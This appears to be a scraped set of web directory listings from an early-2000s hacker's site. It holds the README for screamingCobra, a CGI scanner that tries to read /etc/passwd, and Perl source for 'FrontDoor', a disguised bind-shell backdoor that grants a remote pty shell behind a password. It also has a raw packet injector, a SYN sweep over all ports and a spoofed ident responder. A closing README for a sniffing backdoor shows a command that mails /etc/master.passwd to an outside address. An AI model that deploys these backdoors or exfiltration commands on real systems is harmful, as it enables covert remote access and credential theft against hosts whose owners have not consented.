2063
2064-i: DON'T IGNORE ANY FILES
2065 In the program, there is a user-configurable array
2066 of extensions to ignore (not to GET). Those include
2067 images, compressed files, etc.. This is because those
2068 files will usually not be HTML pages so there won't
2069 be any useful data in them, and they may take up a lot
2070 of bandwidth as well. This option ignores that list
2071 and screamingCobra will not ignore any files.
2072
2073-s: STATUS BAR
2074 This creates a status bar with constantly updated
2075 numbers of pages accessed, bugs found and attempted
2076 vulnerability scans. Cannot be used with verbose,
2077 although the status bar is ALWAYS displayed when the
2078 user unexpectedly exits or kills the application (^C)
2079 or when the application is finished crawling.
2080
2081-v: VERBOSE
2082 This will display all the files being accessed and
2083 will also list when CGIs are found and attempted to
2084 be broken (to find vulnerabilities). Cannot be used
2085 with status bar, although a status bar is ALWAYS
2086 displayed when the user unexpectedly exits or kills the
2087 application (^C) or when the application is finished
2088 crawling.
2089
2090<http://host.name>: Hostname or IP of host to scan. [REQUIRED]
2091 For example, http://cobra.LucidX.com
2092
2093[:port]: Port to connect to, default is 80.
2094 For example, http://cobra.LucidX.com:80
2095
2096[/start/page]: Page to start on.
2097 For example, http://cobra.LucidX.com/screamingCobra-1.03/
2098 and also, http://cobra.LucidX.com:80/index.html
2099
2100
2101 __________________________________
21026. __ SUPPORTED OPERATING SYSTEMS __
2103 ==================================
2104screamingCobra will work on ANY operating system that has
2105Perl 5.x.
2106
2107I also compiled a binary for
2108Windows, sCobra-WIN.exe.
2109
2110This will be recompiled for every new version of
2111screamingCobra and will be included in all releases.
2112
2113
2114===================
2115== END OF README ==
2116===================
2117That's all for now.
2118Contact me (Samy Kamkar) at commport5@LucidX.com for
2119questions or comments, hope to hear from you all! :)
2120
2121http://samy.pl/scobra/downloads/screamingCobra-1.04/
2122
2123
2124Index of /scobra/downloads/CURRENT
2125 Name
2126Last modified
2127Size
2128Description
2129
2130________________________________________
2131 Parent Directory
2132 -
2133 LICENSE
213413-Jan-2002 05:23 1.4K
2135 README
213613-Jan-2002 05:39 7.6K
2137 TODO
213813-Jan-2002 05:23 163
2139 changeLog
214013-Jan-2002 05:23 632
2141 sCobra-WIN.exe
214213-Jan-2002 05:23 784K
2143 screamingCobra.pl
214422-Jan-2002 23:44 9.9K
2145________________________________________
2146screamingCobra v1.04 -- < January 12, 2002 >
2147by Samy Kamkar [commport5@LucidX.com]
2148
2149usage: screamingCobra.pl [-e] [-i] [-s|-v] <http://host.name>[:port][/start/page]
2150
2151=======================
2152== TABLE OF CONTENTS ==
2153=======================
21541. What is screamingCobra
21552. What screamingCobra does
21563. Why was screamingCobra written
21574. Configuring screamingCobra
2158 A. Basic Configuration
2159 B. Adding Techniques
21605. Command-line options
21616. Supported Operating Systems
2162=======================
2163
2164
2165 _____________________________
21661. __ WHAT IS SCREAMING COBRA __
2167 =============================
2168Any CGI that doesn't check arguements that are passed to it
2169over the web are possibly vulnerable to attacks which allow
2170a malicious user get read access to almost any file on that
2171system, if not access to execute programs. screamingCobra
2172is almost always able to find those bugs REMOTELY due to
2173the common errors programmers make.
2174
2175screamingCobra is an application for remote vulnerability
2176discovery in ANY UNKNOWN web applications such as CGIs and PHP
2177pages. Simply put, it attemps to find vulernabilities in all
2178web applications on a host without knowing anything about the
2179applications. Modern CGI scanners scan a host for CGIs
2180with known vulnerabilities. screamingCobra is able to 'find'
2181the actual vulnerabilities in ANY CGI, whether it has been
2182discovered before or not.
2183
2184
2185 _______________________________
21862. __ WHAT SCREAMING COBRA DOES __
2187 ===============================
2188I've even been told by administrators of very well known
2189sites that they've been able to use screamingCobra (originally
2190called crawl5b, before this release) and find at least one
2191bug which allows anyone to get read access to almost any file
2192on the system, if not access to execute applications. When
2193you launch screamingCobra, it crawls the specified host
2194over the web and attempts to find all the CGIs or any other
2195applications where parameters can be passed. It then attempts
2196to use a few techniques to read files on that machine. By
2197default, it attempts to read /etc/passwd, and if successful it
2198will display the URL in which it used to access the file.
2199
2200
2201 _____________________________________
22023. __ WHY WAS SCREAMING COBRA WRITTEN __
2203 =====================================
2204The core was originally written at DefCon 9, specifically at
2205Caezar's Challeng V, for Challenge B:
2206"identify hypothetical cases of common bugs in server-side
2207programs and then to describe algorithms that could detect those
2208problems from a special version of the client software".
2209I did just that, and wrote a program to go along with it.
2210
2211Caezar's Challenge: http://caezarschallenge.org
2212
2213 _________________________________
22144. __ CONFIGURING SCREAMING COBRA __
2215 =================================
2216 A. -- BASIC CONFIGURATION --
2217 There's not much, if any, configuring to be done.
2218 Although, there may be some things you want to change.
2219 I'll go over those now. Open up screamingCobra.pl
2220 in a text editor and check these lines out:
2221
2222 Line 29: this is the file it will attempt to access
2223 change 'etc/passwd' to, say, 'bin/ls' to attempt
2224 to read /bin/ls.
2225 I recommend KEEPING /etc/passwd as the default.
2226
2227 Line 30: this is the additional technique for finding
2228 vulnerabilities. Leave it alone if you don't know
2229 what it's doing :)
2230
2231 Line 32: @first -- this is the HTML tags to look for
2232 that contain URLs. The array, by default, includes
2233 'a' (for <a href's..), 'img' (<img src...), 'body',
2234 'area', 'frame' and 'meta'. You may add more, just
2235 follow the defaults.
2236
2237 Line 36: @second -- this is the tag options to look
2238 for inside of a tag, such as 'href' (for <a href..)
2239 and 'src' (<img src...).
2240 This will NOT just look at the 2nd word in the tag,
2241 but any words following a whitespace so it WILL
2242 catch something like <a blah="" href="...">.
2243
2244 Line 40: @ignore -- extensions of files to not do a
2245 GET on, just because they usually don't contain HTML
2246 and are a waste of bandwidth.
2247
2248 Line 45: @requests -- this is the basic header that's
2249 sent to the server when requesting a page or CGI.
2250 screamingCobra randomly chooses one for each GET it
2251 does, add more according to the two default ones.
2252
2253 That's it! You probably didn't have to change anything
2254 or add anything, but it's good to know how to.
2255
2256
2257 B. -- ADDING TECHNIQUES --
2258 Adding techniques and using them is very simple!
2259 First, find where the '$technique1' variable is set (by
2260 default, it's at line 29). After all the variables in
2261 that section that begin with 'technique' and end in a
2262 number, add a new one, incrementing the number by 1.
2263 For example, if you have a fresh screamingCobra.pl,
2264 you would stick in:
2265$technique3 = "your technique to be GET'd";
2266 The 3 is because there are already two other techniques.
2267
2268 Now to actually be able to use the 3rd technique (and
2269 all techniques ending with a number less than 3 [2, 1]),
2270 you must add that many '-e's when running screamingCobra.
2271
2272 For example, if you wanted to run screamingCobra using
2273 technique 3, you would run like so:
2274./screamingCobra.pl -eee http://host.name
2275
2276 You may of course use any other arguements, as well, and
2277 use whatever host/port/page you want to.
2278
2279
2280 __________________________
22815. __ COMMAND-LINE OPTIONS __
2282 ==========================
2283usage: screamingCobra.pl [-e] [-i] [-s|-v] <http://host.name>[:port][/start/page]
2284
2285-e: EXTRA TECHNIQUES
2286 Uses multiple techniques to find bugs.
2287 This will take over twice the amount of time to
2288 complete a scan and the other techniques used with
2289 this options are not commonly found in applications
2290 but if you need to do a very strong pen test, you
2291 may want to use this option.
2292
2293-i: DON'T IGNORE ANY FILES
2294 In the program, there is a user-configurable array
2295 of extensions to ignore (not to GET). Those include
2296 images, compressed files, etc.. This is because those
2297 files will usually not be HTML pages so there won't
2298 be any useful data in them, and they may take up a lot
2299 of bandwidth as well. This option ignores that list
2300 and screamingCobra will not ignore any files.
2301
2302-s: STATUS BAR
2303 This creates a status bar with constantly updated
2304 numbers of pages accessed, bugs found and attempted
2305 vulnerability scans. Cannot be used with verbose,
2306 although the status bar is ALWAYS displayed when the
2307 user unexpectedly exits or kills the application (^C)
2308 or when the application is finished crawling.
2309
2310-v: VERBOSE
2311 This will display all the files being accessed and
2312 will also list when CGIs are found and attempted to
2313 be broken (to find vulnerabilities). Cannot be used
2314 with status bar, although a status bar is ALWAYS
2315 displayed when the user unexpectedly exits or kills the
2316 application (^C) or when the application is finished
2317 crawling.
2318
2319<http://host.name>: Hostname or IP of host to scan. [REQUIRED]
2320 For example, http://cobra.LucidX.com
2321
2322[:port]: Port to connect to, default is 80.
2323 For example, http://cobra.LucidX.com:80
2324
2325[/start/page]: Page to start on.
2326 For example, http://cobra.LucidX.com/screamingCobra-1.03/
2327 and also, http://cobra.LucidX.com:80/index.html
2328
2329
2330 __________________________________
23316. __ SUPPORTED OPERATING SYSTEMS __
2332 ==================================
2333screamingCobra will work on ANY operating system that has
2334Perl 5.x.
2335
2336I also compiled a binary for
2337Windows, sCobra-WIN.exe.
2338
2339This will be recompiled for every new version of
2340screamingCobra and will be included in all releases.
2341
2342
2343===================
2344== END OF README ==
2345===================
2346That's all for now.
2347Contact me (Samy Kamkar) at commport5@LucidX.com for
2348questions or comments, hope to hear from you all! :)
2349
2350http://samy.pl/scobra/downloads/CURRENT/
2351#!/usr/bin/perl
2352
2353# by CommPort5[@LucidX.com] (samy)
2354# opens a pty instead of just a plain connection so ansi can get through, PoC
2355
2356$login = 0; # if = 1, use $loginbin to login as a regular user
2357 # if = 0, use it's own username and password
2358# login not active yet!
2359$0 = "FrontDoor"; # what to show instead of 'perl frontdoor.pl' in a ps
2360$pwprompt = 2; # if = 2, prompts you for a username and password
2361 # if = 1, prompts you for a password
2362 # if = 0, accepts the password (but no text is shown)
2363$amtusers = 02; # amount of connections allowed at once
2364$username = "cp5"; # username (required, but only used if $pwprompt = 1 or 2)
2365$password = "passwd"; # password
2366$port = 11223; # port to bind to
2367$bindtoip = 0; # if = 1, binds to $ip
2368 # if = 0, ignores $ip and binds to default IP
2369$ip = "123.45.67.89"; # binds to this ip only if $bindtoip = 1
2370$loginbin = "/usr/bin/login"; # path to `login` bin
2371
2372use blib;
2373use Cwd;
2374use IO::Pty;
2375use IO::Socket;
2376use Term::ANSIColor;
2377require POSIX;
2378defined($fork = fork());
2379($fork) && die "FrontDoor running on PID $fork\n";
2380$ver = "0.1b2";
2381if($bindtoip) {
2382 $x = IO::Socket::INET->new(
2383 LocalPort => $port,
2384 LocalAddr => $ip,
2385 Listen => $amtusers,
2386 Proto => 'tcp',
2387 Reuse => 1)
2388 or die "Unable to bind to socket: $!\n";;
2389}
2390else {
2391 $x = IO::Socket::INET->new(
2392 LocalPort => $port,
2393 Listen => $amtusers,
2394 Proto => 'tcp',
2395 Reuse => 1)
2396 or die "Unable to bind to socket: $!\n";
2397}
2398while(my $c = $x->accept) {
2399 die unless defined(my $child = fork());
2400 if ($child == 0) {
2401 $x->close;
2402 interact($c);
2403 exit 0;
2404 }
2405}
2406continue {
2407 $c->close;
2408}
2409sub interact {
2410 my $s = shift;
2411 STDIN->fdopen($s, "r");
2412 STDOUT->fdopen($s, "w");
2413 STDERR->fdopen($s, "w");
2414 STDOUT->autoflush(1);
2415 if($pwprompt == 2) {
2416 print colored("\nWelcome! ", 'red');
2417 print "This host is running ";
2418 print colored("FrontDoor ", 'bold');
2419 print colored("[$0] ", 'bold blue');
2420 print colored("v.$ver\n\n", 'bold red');
2421 print "Login: ";
2422 chomp($us = <STDIN>);
2423 print "Password: ";
2424 }
2425 if($pwprompt == 1) {
2426 print colored("\nWelcome! ", 'red');
2427 print "This host is running ";
2428 print colored("FrontDoor ", 'bold');
2429 print colored("[$0] ", 'bold blue');
2430 print colored("v.$ver\n\n", 'bold red');
2431 print "\nPassword: ";
2432 }
2433 chomp($x = <STDIN>);
2434 if($pwprompt == 2 and $us !~ /^$username/i) {
2435 die "\nIncorrect username or password\n";
2436 close($x);
2437 }
2438 if($x =~ /^$password/) {
2439 print "\n";
2440 do {
2441 $pwd = cwd;
2442 print "pt";
2443 print colored("SH", 'bold');
2444 print colored("[", 'bold blue');
2445 print colored("$username", 'red');
2446 print colored("\@", 'bold green');
2447 print colored("$pwd", 'yellow');
2448 print colored("]", 'bold blue');
2449 print colored("\$", 'underline bold blink black on_white');
2450 print " ";
2451 chomp($y = <STDIN>);
2452 if($y =~ /^\s*exit/) {
2453 die "Good bye, $username!\n";
2454 }
2455 else {
2456 @cm = split(/\s+/, $y);
2457 $pty = new IO::Pty;
2458 if(@cm and $cm[0] =~ /^cd$/) {
2459 chdir($cm[1]);
2460 $num = 2;
2461 while($cm[$num]) {
2462 $nc .= $cm[$num];
2463 $num++;
2464 }
2465 @cm = split(/\s+/, $nc);
2466 }
2467 if(@cm and $cm[0] !~ /^cd$/) {
2468 my $pid = fork;
2469 die "Cannot fork: $!" if($pid < 0);
2470 if($pid) {
2471 parent($pty);
2472 }
2473 else {
2474 child($pty);
2475 }
2476 }
2477 sub child {
2478 my($pty) = @_;
2479 POSIX::setsid();
2480 my $tty = $pty->slave;
2481 close($pty);
2482 open(STDIN, "<&".fileno($tty)) || (sleep(5), die "Cannot open STDIN");
2483 open(STDOUT, ">&".fileno($tty)) || (sleep(5), die "Cannot open STDOUT");
2484 open(STDERR, ">&STDOUT") || (sleep(5), die "Cannot open STDERR");
2485 close($tty);
2486 my $prog = shift(@cm);
2487 if(!@cm && $prog =~ /sh$/) {
2488 exec $prog '-sh'
2489 }
2490 exec($prog, @cm);
2491 die "Unable to execute\n";
2492 }
2493 sub process {
2494 my($rin, $src, $dst) = @_;
2495 my $buf = '';
2496 my $read = sysread($src, $buf, 1);
2497 if(defined $read && $read) {
2498 syswrite($dst, $buf, $read);
2499 }
2500 else {
2501 vec($rin, fileno($src), 1) = 0;
2502 }
2503 return $rin;
2504 }
2505 sub parent {
2506 my($pty) = @_;
2507 my $tty = $pty;
2508 my($rin, $win, $ein) = ('', '', '');
2509 vec($rin, fileno(STDIN), 1) = 1;
2510 vec($rin, fileno($tty), 1) = 1;
2511 vec($win, fileno($tty), 1) = 1;
2512 vec($ein, fileno($tty), 1) = 1;
2513 select($tty);
2514 $| = 1;
2515 select(STDOUT);
2516 $| = 1;
2517 while(1) {
2518 my($rout, $wout, $eout, $timeleft);
2519 ($nfound, $timeleft) = select($rout = $rin, $wout = $win, $eout = $ein, 3600);
2520 die "select failed: $!" if($nfound < 0);
2521 if($nfound > 0) {
2522 if(vec($eout, fileno($tty), 1)) {
2523 }
2524 if(vec($rout, fileno($tty), 1)) {
2525 $rin = process($rin, $tty, STDOUT);
2526 last unless(vec($rin, fileno($tty), 1));
2527 }
2528 elsif(vec($rout, fileno(STDIN), 1) && vec($wout, fileno($tty), 1)) {
2529 $rin = process($rin, STDIN, $tty);
2530 }
2531 }
2532 }
2533 }
2534 }
2535 }
2536 while(1);
2537}
2538else {
2539 if($pwprompt == 2) {
2540 die "\nIncorrect username or password\n";
2541 close($x);
2542 }
2543 if($pwprompt == 1) {
2544 die "\nIncorrect password\n";
2545 close($x);
2546 }
2547 if($pwprompt == 0) {
2548 die "\n";
2549 close($x);
2550 }
2551 }
2552}
2553
2554
2555#!/usr/bin/perl
2556
2557# by samy [commport5@lucidx.com]
2558# requires pdump::Sniff - http://secure.lucidx.com/pdump-devel.tar.gz [pdump.lucidx.com/pdump.tar.gz but it's older]
2559
2560use pdump::Sniff;
2561use Tk;
2562$mdb = MainWindow->new();
2563@iphdr = qw(version ihl tos tot_len id frag_off ttl protocol check saddr daddr);
2564@tcphdr = qw(source dest seq ack_seq doff res1 res2 urg ack psh rst syn fin window check urg_ptr data);
2565@udphdr = qw(source dest len check data);
2566@icmphdr = qw(type code check gateway id sequence unused mtu data);
2567$mdb->title(" Raw Packet Injector");
2568$status = $mdb->Label(-width => 30, -relief => "sunken", -bd => 1);
2569$status->pack(-side => "bottom", -fill => "y", -padx => 2, -pady => 1);
2570$mhead = $mdb->Frame(-relief => 'ridge', -borderwidth => 2)->pack(-fill => 'x', -anchor => 'nw', -side => 'top');
2571$mright = $mdb->Frame(-relief => 'ridge', -borderwidth => 2)->pack(-fill => 'x', -anchor => 'ne', -side => 'right');
2572$mright->Label(-text => 'Packet Type')->pack(-fill => 'x', -anchor => 'nw', -side => 'top');
2573@typerad = ('TCP', 'UDP', 'ICMP');
2574for my $type (0 .. 2) {
2575 $mright->Radiobutton(-text => "$typerad[$type]", -variable => \$dbtype, anchor => 'w', -relief => 'flat', -value => $type)->pack(-side => 'top');
2576}
2577$mright->Label(-text => "\nPackets")->pack;
2578$speed = $mright->Entry(-borderwidth => 2, -width => 8)->pack;
2579$speed->insert('end', "1");
2580$mright->Label(-text => "\n")->pack;
2581$mright->Button(-text => "TCP Headers", -command => \&tcph)->pack;
2582$mright->Button(-text => "UDP Headers", -command => \&udph)->pack;
2583$mright->Button(-text => "ICMP Headers", -command => \&icmph)->pack;
2584$mw1 = $mdb->Frame()->pack(-side => 'left', -pady => 2, -padx => 15);
2585$mw1->Label(-text => "IP Headers\n", -anchor => 'e')->pack;
2586foreach (0 .. 20) {
2587 if ($iphdr[$_]) {
2588 $x{$_} = $mw1->Frame();
2589 $x{$_}->pack(-pady => '2', -anchor => 'e');
2590 $tmp = $x{$_}->Label(-text => $iphdr[$_], -anchor => 'e');
2591 $t = "ip_$iphdr[$_]";
2592 ${$t} = $x{$_}->Entry(-width => '17', -relief => 'sunken')->pack(-side => 'right');
2593 $tmp->pack(-side => 'right');
2594 }
2595}
2596$balloon = $mdb->Balloon(-statusbar => $status);
2597$btnok = $mhead->Button(-text => 'Send');
2598$btnok->configure(-command => \&write);
2599$btnok->pack(-side => 'left', -padx => '2');
2600$balloon->attach($btnok, -balloonmsg => "Send packet(s)", -statusmsg => "Send packet(s)");
2601$btnsave = $mhead->Button(-text => 'Information');
2602$btnsave->configure(-command => \&info);
2603$btnsave->pack(-side => 'left', -padx => '2');
2604$balloon->attach($btnsave, -balloonmsg => "Valuable Information", -statusmsg => "Information on this program");
2605$btncancel = $mhead->Button(-text => 'Exit', -command => [$mdb,'destroy']);
2606$btncancel->pack(-side => 'left', -padx => '2');
2607$balloon->attach($btncancel, -balloonmsg => "Exit Program", -statusmsg => "Exit Program");
2608MainLoop;
2609sub write {
2610 my (%ttcp, %tip, %ip, %tcp, %udp, %icmp, %ticmp, %tudp);
2611 foreach (@tcphdr) {
2612 $t = "tcp_$_";
2613 if (${$t}) {
2614 $ttcp{$_} = ${$t};
2615 }
2616 }
2617 foreach (@iphdr) {
2618 $t = "ip_$_";
2619 if (${$t}) {
2620 $tip{$_} = get ${$t};
2621 }
2622 }
2623 foreach (keys(%tip)) {
2624 if ($tip{$_}) {
2625 $ip{$_} = $tip{$_};
2626 }
2627 }
2628 foreach (keys(%ttcp)) {
2629 if ($ttcp{$_}) {
2630 $tcp{$_} = $ttcp{$_};
2631 }
2632 }
2633 foreach (@udphdr) {
2634 $t = "udp_$_";
2635 if (${$t}) {
2636 $tudp{$_} = ${$t};
2637 }
2638 }
2639 foreach (keys(%tudp)) {
2640 if ($tudp{$_}) {
2641 $udp{$_} = $tudp{$_};
2642 }
2643 }
2644 foreach (@icmphdr) {
2645 $t = "icmp_$_";
2646 if (${$t}) {
2647 $ticmp{$_} = ${$t};
2648 }
2649 }
2650 foreach (keys(%ticmp)) {
2651 if ($ticmp{$_}) {
2652 $icmp{$_} = $ticmp{$_};
2653 }
2654 }
2655 $sp = get $speed;
2656 foreach (1 .. $sp) {
2657 $a = new pdump::Sniff;
2658 if ($dbtype == 0) {
2659 $a->set({ip => { %ip }, tcp => { %tcp }});
2660 }
2661 elsif ($dbtype == 1) {
2662 $a->set({ip => { %ip }, udp => { %udp }});
2663 }
2664 elsif ($dbtype == 2) {
2665 $a->set({ip => { %ip }, icmp => { %icmp }});
2666 }
2667 $a->send;
2668 }
2669}
2670sub info {
2671 my $top2 = $mdb->Toplevel;
2672 $top2->Label(-text => "\n Perl/Tk Raw Packet Injecting Utility \n by samy [CommPort5\@LucidX.com] \n")->pack;
2673}
2674sub tcph {
2675 $f = $mdb->DialogBox(-title => "TCP Headers", -buttons => ["OK"]);
2676 $n = $f->add('NoteBook', -ipadx => 6, -ipady => 6);
2677 $address_p = $n->add("address", -label => "Required", -underline => 0);
2678 $pref_p = $n->add("pref", -label => "Optional", -underline => 0);
2679 $address_p->LabEntry(-label => "Source Port Number:", -labelPack => [-side => "left", -anchor => "w"], -width => 20, -textvariable => \$tcp_source)->pack(-side => "top", -anchor => "ne");
2680 $address_p->LabEntry(-label => "Dest. Port Number:", -labelPack => [-side => "left", -anchor => "w"], -width => 20, -textvariable => \$tcp_dest)->pack(-side => "top", -anchor => "ne");
2681 foreach (2 .. 20) {
2682 if ($tcphdr[$_]) {
2683 $tmp = "tcp_$tcphdr[$_]";
2684 $pref_p->LabEntry(-label => "$tcphdr[$_]:", -labelPack => [-side => "left"], -width => 15, -textvariable => \${$tmp})->pack(-side => "top", -anchor => "ne");
2685 }
2686 }
2687 $n->pack(-expand => "yes", -fill => "both", -padx => 5, -pady => 5, -side => "top");
2688 $f->Show;
2689}
2690sub udph {
2691 $f = $mdb->DialogBox(-title => "UDP Headers", -buttons => ["OK"]);
2692 $n = $f->add('NoteBook', -ipadx => 6, -ipady => 6);
2693 $address_p = $n->add("address", -label => "Required", -underline => 0);
2694 $pref_p = $n->add("pref", -label => "Optional", -underline => 0);
2695 $address_p->LabEntry(-label => "Source Port Number:", -labelPack => [-side => "left", -anchor => "w"], -width => 20, -textvariable => \$udp_source)->pack(-side => "top", -anchor => "ne");
2696 $address_p->LabEntry(-label => "Dest. Port Number:", -labelPack => [-side => "left", -anchor => "w"], -width => 20, -textvariable => \$udp_dest)->pack(-side => "top", -anchor => "ne");
2697 foreach (2 .. 5) {
2698 if ($udphdr[$_]) {
2699 $tmp = "udp_$udphdr[$_]";
2700 $pref_p->LabEntry(-label => "$udphdr[$_]:", -labelPack => [-side => "left"], -width => 15, -textvariable => \${$tmp})->pack(-side => "top", -anchor => "ne");
2701 }
2702 }
2703 $n->pack(-expand => "yes", -fill => "both", -padx => 5, -pady => 5, -side => "top");
2704 $f->Show;
2705}
2706sub icmph {
2707 $f = $mdb->DialogBox(-title => "ICMP Headers", -buttons => ["OK"]);
2708 $n = $f->add('NoteBook', -ipadx => 6, -ipady => 6);
2709 $address_p = $n->add("address", -label => "Required", -underline => 0);
2710 $pref_p = $n->add("pref", -label => "Optional", -underline => 0);
2711 $address_p->Label(-text => "None", -anchor => 'e')->pack;
2712 foreach (0 .. 10) {
2713 if ($icmphdr[$_]) {
2714 $tmp = "icmp_$icmphdr[$_]";
2715 $pref_p->LabEntry(-label => "$icmphdr[$_]:", -labelPack => [-side => "left"], -width => 15, -textvariable => \${$tmp})->pack(-side => "top", -anchor => "ne");
2716 }
2717 }
2718 $n->pack(-expand => "yes", -fill => "both", -padx => 5, -pady => 5, -side => "top");
2719 $f->Show;
2720}
2721
2722
2723#!/usr/bin/perl
2724
2725# -cp5
2726
2727use pdump::Sniff;
2728
2729@iphdr = qw(version ihl tos tot_len id frag_off ttl protocol check saddr daddr);
2730@tcphdr = qw(source dest seq ack_seq doff res1 res2 urg ack psh rst syn fin window check urg_ptr data);
2731foreach (@iphdr) {
2732 print "IP: $_";
2733 if (/^(s|d)addr$/i) {
2734 print " [required]";
2735 }
2736 print ": ";
2737 chomp ($ip{$_} = <STDIN>);
2738}
2739foreach (@tcphdr) {
2740 print "TCP: $_";
2741 if (/^source|dest$/i) {
2742 print " [required]";
2743 }
2744 print ": ";
2745 chomp ($tcp{$_} = <STDIN>);
2746}
2747foreach (keys(%ip)) {
2748 if ($ip{$_}) {
2749 $hip{$_} = $ip{$_};
2750 }
2751}
2752foreach (keys(%tcp)) {
2753 if ($tcp{$_}) {
2754 $htcp{$_} = $tcp{$_};
2755 }
2756}
2757$a = new pdump::Sniff;
2758$a->set({ip => { %hip }, tcp => { %htcp }});
2759$a->send;
2760
2761
2762#!/usr/bin/perl
2763
2764use pdump::Sniff;
2765use Net::Ping;
2766
2767die "usage: $0 <host>\n" unless @ARGV == 1;
2768$| = 1;
2769$tout = 10;
2770$host = $ARGV[0];
2771$dev = pdump::Sniff::lookupdev($tout);
2772$ip = ${ifaddrlist()}{$dev};
2773$packet_tcp = new pdump::Sniff({tcp=>{}});
2774$filt_tcp = "ip proto \\tcp and src host $host and dst host $ip";
2775$pcap_tcp = $packet_tcp->pcapinit($dev, $filt_tcp, 1500, 60, 0);
2776$offset_tcp = linkoffset($pcap_tcp);
2777$p = Net::Ping->new("icmp");
2778if ($p->ping($host, 2)) {
2779 die "ICMP reply from $host recieved, host is up\n";
2780}
2781$p->close();
2782print "No ICMP reply...testing TCP\n";
2783if ($fork1 = fork) {
2784 &send;
2785}
2786if ($fork2 = fork) {
2787 loop $pcap_tcp, -1, \&check_tcp, \@packet_tcp;
2788}
2789sub check_tcp{
2790 print "TCP reply from $host recieved, host is up\n";
2791 kill(9, $fork1);
2792 die "\n";
2793}
2794sub send {
2795 sleep 3;
2796 foreach (1 .. 65535) {
2797 $a = new pdump::Sniff;
2798 $a->set({
2799 ip => {
2800 saddr => $ip,
2801 daddr => $host,
2802 },
2803 tcp => {
2804 dest => $_,
2805 source => 1337,
2806 seq => 31337,
2807 syn => 1,
2808 },
2809 });
2810 $a->send;
2811 }
2812 die "No TCP reply...host seems to not be up\n";
2813}
2814
2815
2816#!/usr/bin/perl
2817
2818# stand-alone raw wanna-be-ident daemon
2819# PoC by commport5
2820
2821use pdump::Sniff;
2822die "usage: $0 <port>\n" unless @ARGV == 1;
2823$| = 1;
2824$tout = 10;
2825$dev = pdump::Sniff::lookupdev($tout);
2826$ip_addr = ${ifaddrlist()}{$dev};
2827$packet_tcp = new pdump::Sniff({tcp=>{}});
2828$filt_tcp = "ip proto \\tcp and dst port $ARGV[0]";
2829$pcap_tcp=$packet_tcp->pcapinit($dev,$filt_tcp,1500,60);
2830$offset_tcp = linkoffset($pcap_tcp);
2831if (fork) {
2832 loop $pcap_tcp, -1, \&check_tcp, \@packet_tcp;
2833}
2834sub check_tcp{
2835 $packet_tcp->bset($_[2], $offset_tcp);
2836 my $headers;
2837 my ($vers,$ihl,$tos,$tot,$id,$frg,$ttl,$pro,$chc,$saddr,$daddr,$sport,$dport,$seq,$aseq,$dof,$res1,$res2,$urg,$ack,$psh,$rst,$syn,$fin,$win,$chk,$data) =
2838 $packet_tcp->get({ip=>['version','ihl','tos','tot_len','id','frag_off','ttl','protocol','check','saddr','daddr'],tcp=>[
2839 'source','dest','seq','ack_seq','doff','res1','res2','urg','ack','psh','rst','syn','fin','window','check','data']});
2840 if ($urg) {
2841 $headers .= "U";
2842 }
2843 if ($ack) {
2844 $headers .= "A";
2845 }
2846 if ($psh) {
2847 $headers .= "P";
2848 }
2849 if ($rst) {
2850 $headers .= "R";
2851 }
2852 if ($syn) {
2853 $headers .= "S";
2854 }
2855 if ($fin) {
2856 $headers .= "F";
2857 }
2858 unless ($headers) {
2859 $headers = ".";
2860 }
2861 $sname = &ip2dot($saddr);
2862 $dname = &ip2dot($daddr);
2863 if ($headers eq "S" and !$sent) {
2864 $rand = rand;
2865 $rand =~ s/^0\.(\d{9}).*?$/$1/;
2866 $a = new pdump::Sniff;
2867 $a->set({ip => {
2868 saddr => $dname,
2869 daddr => $sname }, tcp => {
2870 dest => $sport,
2871 source => $dport,
2872 seq => $rand,
2873 ack_seq => ($seq - 1),
2874 ack => 1,
2875 syn => 1 }});
2876 $a->send;
2877 $sent = 1;
2878 }
2879 if ($headers eq "P" and $sent == 1) {
2880 $ndata = "$data : USERID : UNIX :cp5\n";
2881 $a = new pdump::Sniff;
2882 $a->set({ip => {
2883 saddr => $dname,
2884 daddr => $sname }, tcp => {
2885 dest => $sport,
2886 source => $dport,
2887 seq => $aseq,
2888 ack_seq => ($seq - length($data)),
2889 ack => 1 }});
2890 $a->send;
2891 $a = new pdump::Sniff;
2892 $a->set({ip => {
2893 saddr => $dname,
2894 daddr => $sname }, tcp => {
2895 dest => $sport,
2896 source => $dport,
2897 seq => $aseq,
2898 ack_seq => ($seq - length($data)),
2899 ack => 1,
2900 psh => 1,
2901 data => $ndata }});
2902 $a->send;
2903 $a = new pdump::Sniff;
2904 $a->set({ip => {
2905 saddr => $dname,
2906 daddr => $sname }, tcp => {
2907 dest => $sport,
2908 source => $dport,
2909 seq => ($aseq - length($ndata)),
2910 ack_seq => ($seq - length($data)),
2911 ack => 1,
2912 fin => 1 }});
2913 $a->send;
2914 $sent = 2;
2915 }
2916 if ($headers eq "F" and $sent == 2) {
2917 $a = new pdump::Sniff;
2918 $a->set({ip => {
2919 saddr => $dname,
2920 daddr => $sname }, tcp => {
2921 dest => $sport,
2922 source => $dport,
2923 seq => $aseq,
2924 ack_seq => ($seq - 1),
2925 ack => 1,
2926 fin => 1 }});
2927 $a->send;
2928 $sent = 3;
2929 }
2930 if ($headers eq "F" and $sent == 3) {
2931 $a = new pdump::Sniff;
2932 $a->set({ip => {
2933 saddr => $dname,
2934 daddr => $sname }, tcp => {
2935 dest => $sport,
2936 source => $dport,
2937 seq => $aseq,
2938 ack_seq => ($seq - 1),
2939 ack => 1 }});
2940 $a->send;
2941 $sent = 0;
2942 }
2943}
2944sub ip2name {
2945 my $addr = shift;
2946 (gethostbyaddr(pack("N",$addr),AF_INET))[0] || ip2dot($addr);
2947}
2948sub ip2dot {
2949 sprintf("%u.%u.%u.%u",unpack "C4", pack "N1", shift);
2950}
2951
2952
2953Index of /pdoor
2954 Name
2955Last modified
2956Size
2957Description
2958
2959________________________________________
2960 Parent Directory
2961 -
2962 README
296306-Apr-2005 00:21 1.0K
2964 pcl.pl
296506-Apr-2005 00:21 702
2966 pdoor.pl
296706-Apr-2005 00:21 371
2968 pdump-Sniff-0.781.tar.gz
296906-Apr-2005 00:21 25K
2970 x.html
297106-Apr-2005 00:21 53
2972________________________________________
2973This is a backdoor (pdoor.pl) which sniffs raw packets
2974going across the network. It allows you to run commands
2975without opening any ports on the machine that the backdoor
2976is running. It does this by sniffing all packets on port
297780 and 7331. Usually port 80 is open, so, if you want,
2978you can use telnet and telnet to some machine on that
2979network on port 80. Then you would give it something like
2980this:
2981GET / HTTP/2cat /etc/master.passwd|mail user@blah
2982It will read anything after 'GET / HTTP/2' as a
2983command. If port 80 isn't open on any machines on the
2984network, you can use pcl.pl to send a raw packet with
